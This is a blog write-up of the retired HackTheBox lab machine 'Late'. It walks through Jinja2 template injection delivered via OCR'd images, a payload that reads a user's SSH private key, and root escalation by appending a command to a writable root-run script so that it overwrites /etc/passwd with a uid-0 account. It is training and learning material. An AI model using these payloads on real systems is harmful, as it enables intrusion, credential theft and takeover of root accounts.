HTB: Late
Posted on 22 Aug 2022 in security • 3 min read

This article is a writeup about a retired HacktheBox machine: Late publish on April 23, 2022 by kavigihan. This box is rated as an easy machine. It implies an OCR function, a SSTI and a SUID binary.
Foothold and user
Recon
Let us start as always by a nmap scan. Only port 80 (HTTP) and 22 (SSH) are open.
# Nmap 7.92 scan initiated Sun Jun 12 08:22:12 2022 as: nmap -sSV -oN notes.md 10.129.72.242
Nmap scan report for 10.129.72.242
Host is up (0.017s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.6 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.14.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmp.org/submit/ .
# Nmap done at Sun Jun 12 08:22:19 2022 -- 1 IP address (1 host up) scanned in 7.13 seconds
Port 80 was a web application containing a link to a subdomain
http://images.late.htb/. This application allowed to perform OCR on images.
We test a few example and realize that we are facing SSTI.
We upload an image containing the basic SSTI identification:

The application resolved the second operation.
<p>${8*8} aa 49
</p>
Following PortSwigger graph I uploaded a new image.

The application resolved 7*'7' as 7777777. Therefore the application was using Jinja2.
A blog post described Jinja injection.
I verified that popen is available:

Then by dichotomy I founded the popen index.

Popen was the subprocess with index 249.
<p>[<class 'zipfile.ZipFile'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>]
</p>
I ran ls to proved that I had RCE.

<p>(b'main.py\nmisc\n__pycache__\nstatic\ntemplates\nuploads\nwsgi.py\n', None)
</p>
I ran id to get an idea of which user was running the application. The user id was 1000 meaning that this
was probably a standard human user.
<p>(b'uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)\n', None)
After a few trials, I found a payload that allowed to retrieve id_rsa from the user.
{{''.__class__.__mro__[1].__subclasses__()[249](['cat','/home/svc_acc/.ssh/id_rsa'],stdout=-1).communicate()}}
I connected to the box using SSH and grabbed the user flag.
└─$ ssh svc_acc@10.129.72.242 -i id_rsa
svc_acc@late:~$ id
uid=1000(svc_acc) gid=1000(svc_acc) groups=1000(svc_acc)
svc_acc@late:~$ cat user.txt
17295259a78e40790974b3ac7d2d0a8f
Root
I ran linpeas and found that there was a user writable file in /usr/local/sbin, a folder where binary are run as root.
#!/bin/bash
RECIPIENT="root@late.htb"
SUBJECT="Email from Server Login: SSH Alert"
BODY="
A SSH login was detected.
User: $PAM_USER
User IP Host: $PAM_RHOST
Service: $PAM_SERVICE
TTY: $PAM_TTY
Date: `date`
Server: `uname -a`
"
if [ ${PAM_TYPE} = "open_session" ]; then
echo "Subject:${SUBJECT} ${BODY}" | /usr/sbin/sendmail ${RECIPIENT}
fi
I copied /etc/passwd and added a new line containing a root user (id=0) with the password pass123:
toto2:$1$ignite$3eTbJm98O9Hz.k1NTdNxe1:0:0:root:/root:/bin/bash
Then I modified the /usr/local/sbin/ssh-alert.sh file to copy the modified passwd file in etc:
echo 'cp /home/svc_acc/passwd /etc/passwd' >>/usr/local/sbin/ssh-alert.sh
Then I connect to ssh with our svc_acc user and switch user to toto2 and grabbed the flag.
svc_acc@late:~$ su toto2
root@late:/home/svc_acc# id
uid=0(root) gid=0(root) groups=0(root)
root@late:/home/svc_acc# cd
root@late:~# cat root.txt
365276e9d7ba2bb0c907fe9ee608164a
Wrapping up
A nice box exploiting SSTI and a SUID binary. The fact that the SSTI was in an image was fun but tedious as sometime the OCR was not perfect and submitting the same image another time did not give the same result.